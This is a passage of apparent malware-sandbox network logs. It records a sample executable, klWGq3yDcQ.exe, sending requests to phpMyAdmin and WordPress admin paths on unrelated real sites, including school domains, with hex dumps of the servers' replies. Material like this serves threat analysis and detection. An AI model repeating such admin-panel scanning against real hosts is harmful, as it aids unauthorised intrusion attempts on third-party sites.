2023-11-26 05:59:40 UTC	608	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 68 6c 57 55 74 4e 5a 6d 55 76 5a 47 6c 79 4e 7a 55 34 5a 57 39 6f 65 6b 39 6c 4e 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 6a 4a 7a 55 45 52 33 51 7a 55 31 54 7a 6c 75 61 6a 56 6a 57 6e 70 75 61 55 45 7a 5a 6b 6c 46 59 6a 4e 68 4d 6b 74 33 65 56 5a 56 64 45 52 33 52 57 4e 71 54 7a 67 34 54 6d 46 35 54 6a 52 73 65 55 45 79 4d 6d 78 50 63 55 6c 43 4d 6b 35 52 64 56 52 46 63 46 6c 4f 4d 6d 31 74 62 48 5a 7a 61 32 78 4d 54 47 74 4b 51 54 68 58 53 56 68 69 53 47 35 47 57 6b 5a 50 63 45 56 71 4b 32 52 75 55 56 46 43 53 6e 68 71 53 47 5a 4d 62 57 4a 52 59 58 4e 55 61 6e 42 48 4e 55 5a 42 57 58 6c 31 61 7a 4a 33 64 57 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6InhlWUtNZmUvZGlyNzU4ZW9oek9lNlE9PSIsInZhbHVlIjoiQjJzUER3QzU1TzluajVjWnpuaUEzZklFYjNhMkt3eVZVdER3RWNqTzg4TmF5TjRseUEyMmxPcUlCMk5RdVRFcFlOMm1tbHZza2xMTGtKQThXSVhiSG5GWkZPcEVqK2RuUVFCSnhqSGZMbWJRYXNUanBHNUZBWXl1azJ3dW
2023-11-26 05:59:40 UTC	1580	IN	Data Raw: 36 32 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 20 41 72 69 61 6c 2c 20 73 61 Data Ascii: 620<!doctype html><html><head> <title>404 - Page Not Found</title> <style type="text/css"> html, body { height: 100%; margin: 0; padding: 0; font-family: Roboto, Helvetica Neue, Arial, sa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.4	62479	104.26.7.37	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	206	OUT	GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	796	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 73 69 74 65 5f 76 65 72 73 69 6f 6e 5f 70 68 61 73 65 3d 31 30 38 3b 20 65 78 70 69 72 65 73 3d 57 65 64 2c 20 32 30 2d 4e 6f 76 2d 32 30 32 34 20 30 35 3a 35 39 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closecache-control: privatevary: Accept-Encodingset-cookie: site_version_phase=108; expires=Wed, 20-Nov-2024 05:59:
2023-11-26 05:59:40 UTC	573	IN	Data Raw: 39 32 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 74 Data Ascii: 925<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><met
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f Data Ascii: <link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.com/css/
2023-11-26 05:59:40 UTC	406	IN	Data Raw: 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 Data Ascii: Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];function gtag
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 31 31 38 34 0d 0a 69 6d 65 6e 73 69 6f 6e 33 27 3a 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 0d 0a 7d 0d 0a 7d 29 3b 0d 0a 67 74 61 67 28 27 65 76 65 6e 74 27 2c 20 27 70 61 67 65 4c 6f 61 64 27 2c 20 7b 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 3a 20 27 48 44 76 33 27 20 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 61 20 68 72 65 66 3d 22 23 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 73 6b 69 70 2d 6d 61 69 6e 22 3e 53 6b 69 70 20 74 6f 20 6d 61 69 6e 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 0a 3c 68 65 61 64 65 72 20 69 64 3d 22 68 65 61 64 65 72 22 20 63 6c 61 73 73 3d 22 68 64 76 33 48 65 61 64 65 72 44 61 72 6b 42 6c 75 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 2d 6f 76 65 72 6c 61 79 2d 6d 6f 64 61 Data Ascii: 1184imension3': 'siteversion'}});gtag('event', 'pageLoad', { 'siteversion': 'HDv3' });</script></head><body><a href="#main" class="skip-main">Skip to main content</a><header id="header" class="hdv3HeaderDarkBlue"><div class="js-overlay-moda
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 48 65 61 64 65 72 20 44 6f 6d 61 69 6e 20 53 65 61 72 63 68 22 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 76 61 6c 75 65 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 6f 6e 43 6c 69 63 6b 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 53 75 62 6d 69 74 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 20 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 39 30 70 78 3b 20 68 65 69 67 68 74 3a 33 35 70 78 3b 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 75 74 74 6f 6e 49 44 22 3e 53 65 61 72 63 68 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 76 61 6c 75 65 20 69 64 3d Data Ascii: ID" aria-label="Header Domain Search"><button type="submit" value class="search-btn" onClick="hdv3HeaderSearchSubmitFunc(); return false; " style="min-width:90px; height:35px;" id="hdv3HeaderSearchButtonID">Search</button><button type="button" value id=
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6e 64 65 78 2e 63 66 6d 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 66 61 71 2e 63 66 6d 22 3e 46 41 51 73 3c 2f 62 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 Data Ascii: "><a class="nav-link " href="https://www.HugeDomains.com/index.cfm">Home</a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeDomains.com/faq.cfm">FAQs</b></a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeD
2023-11-26 05:59:40 UTC	385	IN	Data Raw: 76 3e 0a 3c 2f 6e 61 76 3e 0a 3c 2f 68 65 61 64 65 72 3e 0a 3c 6d 61 69 6e 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 6d 61 69 6e 20 22 3e 0a 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 64 75 63 74 2d 66 61 76 2d 77 72 61 70 70 20 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 64 65 2d 77 72 61 70 70 20 64 6e 2d 6d 6f 62 69 6c 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6c 69 64 65 2d 73 69 64 65 62 61 72 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 2d 6e 65 77 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 74 69 74 6c 65 20 67 72 65 65 6e 22 Data Ascii: v></nav></header><main class="site-main "><div class="product-fav-wrapp container"><div class="side-wrapp dn-mobile"><div class="slide-sidebar-block"><div class="ss-block-inner"><div class="ss-block-inner-new"><span class="ss-block-title green"
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 3f 64 3d 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 26 65 3d 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 6d 2d 62 2d 30 20 6d 2d 74 2d 30 20 22 20 69 64 3d 22 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 49 44 22 20 6f 6e 43 6c 69 63 6b 3d 22 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 49 44 27 29 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 29 3b 20 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 50 72 6f 63 65 49 44 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f Data Ascii: 7ffa<a href="https://www.HugeDomains.com/shopping_cart.cfm?d=RobinsonLand&e=com" class="btn m-b-0 m-t-0 " id="hdv3Billboard197BuyID" onClick="$('#hdv3Billboard197BuyID').addClass('hiddenAtLoad'); $('#hdv3Billboard197BuyProceID').removeClass('hiddenAtLo
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 3d 22 20 70 6c 61 63 65 2d 6f 72 64 65 72 2d 62 74 6e 20 70 61 79 6d 65 6e 74 70 61 79 2d 61 63 63 61 75 6e 74 2d 63 6f 6e 74 65 6e 74 2d 62 74 6e 20 62 74 6e 20 68 69 64 64 65 6e 41 74 4c 6f 61 64 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 35 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 32 37 33 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 31 Data Ascii: =" place-order-btn paymentpay-accaunt-content-btn btn hiddenAtLoad" onclick="return false;" style="height:50px; margin-left:0px; min-width:273px; margin-top:0px; margin-bottom:25px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.4	61938	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	182	OUT	GET /phpmyadmin/ HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	530	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 6d 38 72 37 33 73 66 6b 32 66 75 67 6f 68 72 36 71 32 31 6b 74 67 69 6c 6d 31 3b 20 65 78 70 69 72 65 73 3d 53 75 6e 2c 20 32 36 2d 4e 6f 76 2d 32 30 32 33 20 30 36 3a 35 39 3a 34 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 36 30 30 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 45 78 70 69 72 65 73 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:40 GMTTransfer-Encoding: chunkedConnection: closeSet-Cookie: PHPSESSID=m8r73sfk2fugohr6q21ktgilm1; expires=Sun, 26-Nov-2023 06:59:40 GMT; Max-Age=3600; path=/; secure; HttpOnlyExpires
2023-11-26 05:59:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.4	62409	117.20.63.148	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	184	OUT	GET /phpmyadmin/ HTTP/1.1 Host: student.debritto.sch.id Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 0d 0a 58 2d 43 61 63 68 65 3a 20 48 49 54 20 66 72 6f 6d 20 42 61 63 6b 65 6e 64 0d 0a 53 74 72 69 63 74 2d 54 72 61 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginx/1.20.1Date: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 238Connection: closeLocation: http://117.20.63.148:2030/pma/X-Cache: HIT from BackendStrict-Tra
2023-11-26 05:59:41 UTC	238	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://117.20.63.148:2030/pma/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.4	62667	23.185.0.1	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	215	OUT	GET /wp-admin/ HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.avient.com/wp-login.php
2023-11-26 05:59:40 UTC	535	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 62 2d 37 36 34 35 37 38 34 62 37 37 2d 6e 72 76 6a 6c 0d 0a 58 2d 53 74 79 78 2d 52 65 71 2d 49 64 3a 20 66 64 31 63 37 38 66 63 2d 38 63 32 30 2d 31 31 65 65 2d 39 65 65 32 2d 38 36 32 66 65 63 37 36 62 66 32 35 Data Ascii: HTTP/1.1 403 ForbiddenConnection: closeContent-Length: 146Content-Type: text/htmlServer: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-b-7645784b77-nrvjlX-Styx-Req-Id: fd1c78fc-8c20-11ee-9ee2-862fec76bf25
2023-11-26 05:59:40 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.4	62651	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	217	OUT	GET /wp-admin/ HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://esoft.academy/wp-login.php
2023-11-26 05:59:41 UTC	642	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 65 73 6f 66 74 2e 61 63 61 64 65 6d 79 2f 77 70 2d 61 64 6d 69 6e 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeLocation: https://esoft.academy/wp-adminCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{
